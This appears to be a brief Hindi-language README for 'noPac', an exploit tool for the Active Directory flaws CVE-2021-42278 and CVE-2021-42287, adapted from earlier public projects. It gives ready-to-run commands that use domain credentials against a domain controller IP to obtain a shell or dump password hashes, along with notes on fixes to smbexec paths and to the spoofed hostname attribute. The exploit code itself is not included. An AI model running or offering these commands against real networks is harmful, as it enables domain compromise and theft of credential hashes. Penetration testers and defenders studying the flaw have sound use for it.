noPac

CVE-2021-42278 और CVE-2021-42287 का शोषण
मूल noPac प्रोजेक्ट में कार्यान्वयन में कुछ समस्या हो सकती है, जिसके कारण स्थानीय रूप से यह काम नहीं कर पाया, इसलिए sam-the-admin प्रोजेक्ट का संदर्भ लेकर संशोधन किया गया।

उपयोग

pip3 install -r requirements.txt
# GetShell
python3 exp.py "domain/Username:Passw0rd" -dc-ip 192.168.0.254 -shell
# DumpHash
python3 exp.py "domain/Username:Passw0rd" -dc-ip 192.168.0.254 -dump

संशोधन

• मूल लेखक के Kali में smbexec आदि के निष्पादन पथ समस्या को संशोधित किया गया।
• अनुकरण किए गए ऑनलाइन होस्ट नाम विशेषता को संशोधित किया गया।

संदर्भ

https://github.com/cube0x0/noPac
https://github.com/WazeHell/sam-the-admin